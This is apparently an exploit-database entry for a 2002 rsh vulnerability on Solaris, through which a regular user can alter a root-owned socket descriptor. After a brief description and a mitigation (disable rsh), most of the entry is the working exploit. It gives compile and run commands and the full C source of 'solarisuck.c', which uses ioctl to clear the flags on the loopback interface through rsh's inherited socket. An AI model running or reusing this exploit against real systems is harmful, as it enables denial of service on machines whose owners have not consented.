A vulnerability in rsh

vendor:

rsh

by:

SecurityFocus

7.2

CVSS

HIGH

Privilege Escalation

264

CWE

Product Name: rsh

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Solaris

2002

A vulnerability in rsh exists that can allow a regular user to modify a root owned socket descriptor. The consequences of this are a possible denial of service due to interfaces being manipulated by malicious users. The exploit involves compiling a C program called solarisuck.c and running it with rsh.

Mitigation:

Ensure that the rsh service is not enabled on the system.

Source

Exploit-DB raw data:

// source: https://www.securityfocus.com/bid/453/info


A vulnerability in rsh exists that can allow a regular user to modify a root owned socket descriptor. The consequences of this are a possible denial of service due to interfaces being manipulated by malicious users. 


cc solarisuck.c -o solarisuck -lsocket
rsh localhost ./solarisuck

------------
solarisuck.c
------------
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/sockio.h>
#include <net/if.h>
#include <netinet/in.h>


int main(int argc, char *argv[])
{
struct ifreq please_break_me;

strcpy( please_break_me.ifr_name, "lo0");
please_break_me.ifr_flags=0;

if(ioctl(0, SIOCSIFFLAGS, &please_break_me)==-1)
perror("Damn it didnt work. Obviously not Solaris ;)");
}